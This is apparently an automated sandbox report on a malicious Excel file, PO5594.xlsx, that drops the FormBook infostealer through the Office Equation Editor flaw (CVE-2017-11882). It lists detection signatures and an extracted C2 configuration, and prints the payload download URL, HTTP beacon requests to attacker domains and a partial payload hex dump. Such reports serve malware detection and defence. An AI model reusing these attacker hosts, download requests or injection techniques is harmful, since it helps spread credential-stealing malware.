Windows Analysis Report PO5594.xlsx

Overview

General Information

Sample Name: PO5594.xlsx
Analysis ID: 513501
MD5: ae8569edde3fe5d5e50f9669bbba54b0
SHA1: fa19e75584925894b781bcdb1dc53c6b024f7b08
SHA256: eceeb9918530b8ab023a2465bacc9c2e572c7aaa7add05df882e49c28fbe6e5b
Tags: VelvetSweatshopxlsx
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Sigma detected: Droppers Exploiting CVE-2017-11882
System process connects to network (likely due to code injection or exploit)
Sigma detected: File Dropped By EQNEDT32EXE
Sample uses process hollowing technique
Uses netstat to query active network connections and open ports
Maps a DLL or memory area into another process
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Injects a PE file into a foreign processes
Sigma detected: Execution from Suspicious Folder
Office equation editor drops PE file
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Drops PE files to the user root directory
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Contains functionality to check if a debugger is running (IsDebuggerPresent)
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to call native functions
Potential document exploit detected (performs DNS queries)
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Downloads executable code via HTTP
Contains functionality for execution timing, often used to detect debuggers
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Potential document exploit detected (unknown TCP traffic)
PE file contains an invalid checksum
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Checks if the current process is being debugged
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000005.00000000.469999141.0000000000400000.00000040.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.passionfruitny.com/ddzw/"], "decoy": ["azshalomcenter.com", "yumoo.design", "21pk.net", "zhauggim.xyz", "hoikhoinghiep.com", "1207rossmoyne.com", "izophoto.com", "spacex-live.net", "taskstudiox.com", "educationalsurprises.com", "5151vip16.com", "sarahannsartstudio.com", "indousmedicalscribing.com", "crossatlanticb.com", "codemnodum.com", "tvfret-america.online", "romualdoandrade.com", "creativeartsfilmacademy.club", "htsfrance.com", "bentonvilleartists.com", "reactivephysiorehab.com", "kencanatactical.com", "baycsolana.art", "komotoy.com", "metanetgateway.com", "daimondsofa.com", "cheese-box.online", "oeepa4a3bs.com", "consept-cafe.com", "thethomasgrouphomes.com", "marwatown.com", "daliborkamen.com", "taicholdingglobal.com", "palisadesstore.com", "adventuretravelsworld.com", "hamdykamal.net", "high-clicks3.com", "livebongdatv.com", "fiverrbetaa.xyz", "wardrobewish.com", "modsforcars.com", "schittstore.com", "toptanisimlik.com", "exteches.com", "kgkkristalljewels.com", "hpwdz.com", "talkaditown.com", "maininger.com", "preventgomohb.xyz", "juliamoranmartin.com", "flashpointyouth.com", "glenelg.store", "1courchevel.com", "snikido.com", "mikespotts.com", "memorylanecollections.com", "sportherd.com", "lesmariagesdesophie.com", "mammutphilippines.com", "shleppersmovingandstorage.com", "ervinowines.com", "kuwaitschoolsgame.com", "empiredigituseriness.com", "jyh8886.com"]}
Multi AV Scanner detection for submitted file
Source: PO5594.xlsx Virustotal: Detection: 32% Perma Link
Source: PO5594.xlsx ReversingLabs: Detection: 29%
Yara detected FormBook
Source: Yara match File source: 5.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2f90000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2f90000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000000.469999141.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507748389.00000000002F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000001.472000936.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.493026638.0000000009725000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666335831.00000000003A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.469326544.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.476798938.0000000002F90000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507790702.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.499945438.0000000009725000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507885297.0000000000700000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666274023.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666207492.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Machine Learning detection for dropped file
Source: C:\Users\Public\vbc.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 5.0.vbc.exe.400000.5.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 7.2.NETSTAT.EXE.4119a0.0.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 5.0.vbc.exe.400000.4.unpack Avira: Label: TR/Patched.Ren.Gen2
Source: 5.2.vbc.exe.400000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.0.vbc.exe.400000.1.unpack Avira: Label: TR/Patched.Ren.Gen2
Source: 5.0.vbc.exe.400000.0.unpack Avira: Label: TR/Patched.Ren.Gen2
Source: 5.0.vbc.exe.400000.3.unpack Avira: Label: TR/Patched.Ren.Gen2
Source: 5.0.vbc.exe.400000.6.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 4.2.vbc.exe.2f90000.4.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 7.2.NETSTAT.EXE.27e796c.4.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 5.0.vbc.exe.400000.7.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.0.vbc.exe.400000.2.unpack Avira: Label: TR/Patched.Ren.Gen2
Source: 5.1.vbc.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: netstat.pdb source: vbc.exe, 00000005.00000002.507848304.00000000004C9000.00000004.00000020.sdmp
Source: Binary string: wntdll.pdb source: vbc.exe, NETSTAT.EXE
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405E93 FindFirstFileA,FindClose, 4_2_00405E93
Source: C:\Users\Public\vbc.exe Code function: 4_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 4_2_004054BD
Source: C:\Users\Public\vbc.exe Code function: 4_2_00402671 FindFirstFileA, 4_2_00402671

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: www.spacex-live.net
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop ebx 5_2_00406AB5
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop edi 5_2_00415680
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop edi 5_1_00415680
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop ebx 5_1_00406AB5
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 4x nop then pop edi 7_2_00095680
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 4x nop then pop ebx 7_2_00086AB5
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 103.232.53.25:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 103.232.53.25:80

Networking:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.spacex-live.net
Source: C:\Windows\explorer.exe Domain query: www.schittstore.com
Source: C:\Windows\explorer.exe Domain query: www.metanetgateway.com
Source: C:\Windows\explorer.exe Network Connect: 66.29.132.90 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 104.21.75.173 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 75.2.60.5 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 162.241.253.231 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.sarahannsartstudio.com
Uses netstat to query active network connections and open ports
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE C:\Windows\SysWOW64\NETSTAT.EXE
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.passionfruitny.com/ddzw/
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AIMS-MY-NETAIMSDataCentreSdnBhdMY AIMS-MY-NETAIMSDataCentreSdnBhdMY
Source: Joe Sandbox View ASN Name: ADVANTAGECOMUS ADVANTAGECOMUS
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /ddzw/?h2Mdq=Z+FzwJtUDkwgABdyd+p8UeqxtpX8YY+y3UFx7cJDGSHChxct3TL8QRd2MFxOEFehDmKc8w==&_x=gVp0dvG0DtZT6do0 HTTP/1.1Host: www.spacex-live.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /ddzw/?h2Mdq=eu2i37xABBm77RmOTVlK/UzsyDYSkffg03LYHul4MxZENkm7/tK6Jp9Y8VUWWe4q58P2rA==&_x=gVp0dvG0DtZT6do0 HTTP/1.1Host: www.schittstore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /ddzw/?h2Mdq=CC4eYJ6GdM3g7jV/74DGeVNO7dTe5083KAYqQjLLOiGFZCFwrjOGC7P0JmGnSxw4GGM5lA==&_x=gVp0dvG0DtZT6do0 HTTP/1.1Host: www.metanetgateway.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /ddzw/?h2Mdq=iXrnxWa2MIQCLF3pcDg6+qoW1dWPNK8gD+C0AcHvSyjXkMlp/HpcZgrhMm+aOjdhifJKjg==&_x=gVp0dvG0DtZT6do0 HTTP/1.1Host: www.sarahannsartstudio.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Nov 2021 08:27:00 GMTServer: Apache/2.4.49 (Win64) OpenSSL/1.1.1l PHP/7.4.24Last-Modified: Tue, 02 Nov 2021 03:24:30 GMTETag: "47758-5cfc5d4e71e00"Accept-Ranges: bytesContent-Length: 292696Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 30 28 81 e9 51 46 d2 e9 51 46 d2 e9 51 46 d2 2a 5e 19 d2 eb 51 46 d2 e9 51 47 d2 71 51 46 d2 2a 5e 1b d2 e6 51 46 d2 bd 72 76 d2 e3 51 46 d2 2e 57 40 d2 e8 51 46 d2 52 69 63 68 e9 51 46 d2 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 65 3a ff 56 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d6 01 00 00 04 00 00 fb 30 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 e0 02 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 74 00 00 a0 00 00 00 00 d0 02 00 e0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 7c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 eb 5a 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 96 11 00 00 00 70 00 00 00 12 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 b0 01 00 00 90 00 00 00 06 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 50 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 e0 09 00 00 00 d0 02 00 00 0a 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /8880/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.232.53.25Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: unknown TCP traffic detected without corresponding DNS query: 103.232.53.25
Source: explorer.exe, 00000006.00000000.543228196.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: explorer.exe, 00000006.00000000.498308172.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000006.00000000.543228196.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000006.00000000.543228196.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000006.00000000.542019759.0000000000255000.00000004.00000020.sdmp String found in binary or memory: http://java.sun.com
Source: explorer.exe, 00000006.00000000.487124317.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000006.00000000.487124317.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: vbc.exe, vbc.exe, 00000004.00000000.463068973.0000000000409000.00000008.00020000.sdmp, vbc.exe, 00000005.00000000.466962477.0000000000409000.00000008.00020000.sdmp, vbc.exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: vbc.exe, 00000004.00000000.463068973.0000000000409000.00000008.00020000.sdmp, vbc.exe, 00000005.00000000.466962477.0000000000409000.00000008.00020000.sdmp, vbc.exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vbc.exe, 00000004.00000002.474694873.0000000001EC0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.478152663.0000000001BE0000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: explorer.exe, 00000006.00000000.489138123.0000000003E50000.00000002.00020000.sdmp, cmd.exe, 00000008.00000002.514802576.0000000001C60000.00000002.00020000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000006.00000000.487124317.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000006.00000000.498308172.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000006.00000000.498308172.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000006.00000000.487124317.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: vbc.exe, 00000004.00000002.474694873.0000000001EC0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.478152663.0000000001BE0000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000006.00000000.542019759.0000000000255000.00000004.00000020.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000006.00000000.498308172.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000006.00000000.543228196.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000006.00000000.487124317.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000006.00000000.498308172.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000006.00000000.546883814.0000000007329000.00000004.00000001.sdmp String found in binary or memory: http://www.mozilla.com0
Source: explorer.exe, 00000006.00000000.543228196.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000006.00000000.489880080.0000000004513000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000006.00000000.482100672.00000000045D6000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000006.00000000.482100672.00000000045D6000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleanerp
Source: explorer.exe, 00000006.00000000.543228196.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000006.00000000.542019759.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://support.mozilla.org
Source: NETSTAT.EXE, 00000007.00000002.666910547.0000000002962000.00000004.00020000.sdmp String found in binary or memory: https://www.metanetgateway.com/ddzw/
Source: NETSTAT.EXE, 00000007.00000002.666910547.0000000002962000.00000004.00020000.sdmp String found in binary or memory: https://www.metanetgateway.com/ddzw/?h2Mdq=CC4eYJ6GdM3g7jV/74DGeVNO7dTe5083KAYqQjLLOiGFZCFwrjOGC7P0J
Source: explorer.exe, 00000006.00000000.542019759.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000006.00000000.542019759.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3AC55E10.emf Jump to behavior
Source: unknown DNS traffic detected: queries for: www.spacex-live.net
Source: global traffic HTTP traffic detected: GET /8880/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.232.53.25Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ddzw/?h2Mdq=Z+FzwJtUDkwgABdyd+p8UeqxtpX8YY+y3UFx7cJDGSHChxct3TL8QRd2MFxOEFehDmKc8w==&_x=gVp0dvG0DtZT6do0 HTTP/1.1Host: www.spacex-live.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /ddzw/?h2Mdq=eu2i37xABBm77RmOTVlK/UzsyDYSkffg03LYHul4MxZENkm7/tK6Jp9Y8VUWWe4q58P2rA==&_x=gVp0dvG0DtZT6do0 HTTP/1.1Host: www.schittstore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /ddzw/?h2Mdq=CC4eYJ6GdM3g7jV/74DGeVNO7dTe5083KAYqQjLLOiGFZCFwrjOGC7P0JmGnSxw4GGM5lA==&_x=gVp0dvG0DtZT6do0 HTTP/1.1Host: www.metanetgateway.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /ddzw/?h2Mdq=iXrnxWa2MIQCLF3pcDg6+qoW1dWPNK8gD+C0AcHvSyjXkMlp/HpcZgrhMm+aOjdhifJKjg==&_x=gVp0dvG0DtZT6do0 HTTP/1.1Host: www.sarahannsartstudio.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Contains functionality for read data from the clipboard
Source: C:\Users\Public\vbc.exe Code function: 4_2_00404FC2 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_00404FC2

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 5.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2f90000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2f90000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.6.raw.unpack, type: UNPACKEDPE
